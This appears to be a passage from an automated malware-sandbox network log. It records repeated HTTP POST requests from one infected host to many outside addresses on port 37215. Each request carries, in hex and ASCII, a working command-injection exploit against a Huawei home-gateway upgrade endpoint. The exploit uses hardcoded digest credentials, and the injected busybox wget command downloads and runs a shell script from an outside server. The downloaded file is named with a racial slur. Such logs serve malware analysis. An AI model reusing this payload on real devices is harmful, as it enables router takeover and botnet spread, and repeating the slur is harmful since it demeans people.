HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:11.232271910 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
180	192.168.2.15	57526	190.102.238.179	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:52.576736927 CET	6	OUT	POST Data Raw: Data Ascii:
Feb 19, 2024 18:37:53.248739958 CET	6	OUT	POST Data Raw: Data Ascii:
Feb 19, 2024 18:37:54.560662031 CET	6	OUT	POST Data Raw: Data Ascii:
Feb 19, 2024 18:37:57.152767897 CET	6	OUT	POST Data Raw: Data Ascii:
Feb 19, 2024 18:38:02.528568029 CET	6	OUT	POST Data Raw: Data Ascii:
Feb 19, 2024 18:38:13.024106979 CET	6	OUT	POST Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
181	192.168.2.15	38898	37.16.14.162	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:55.352225065 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
182	192.168.2.15	40690	156.77.130.234	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:55.528819084 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
183	192.168.2.15	37128	156.254.88.4	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:55.919600964 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:57.472575903 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:59.296581030 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:03.040357113 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:10.464396000 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
184	192.168.2.15	42376	156.254.85.64	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:56.215737104 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 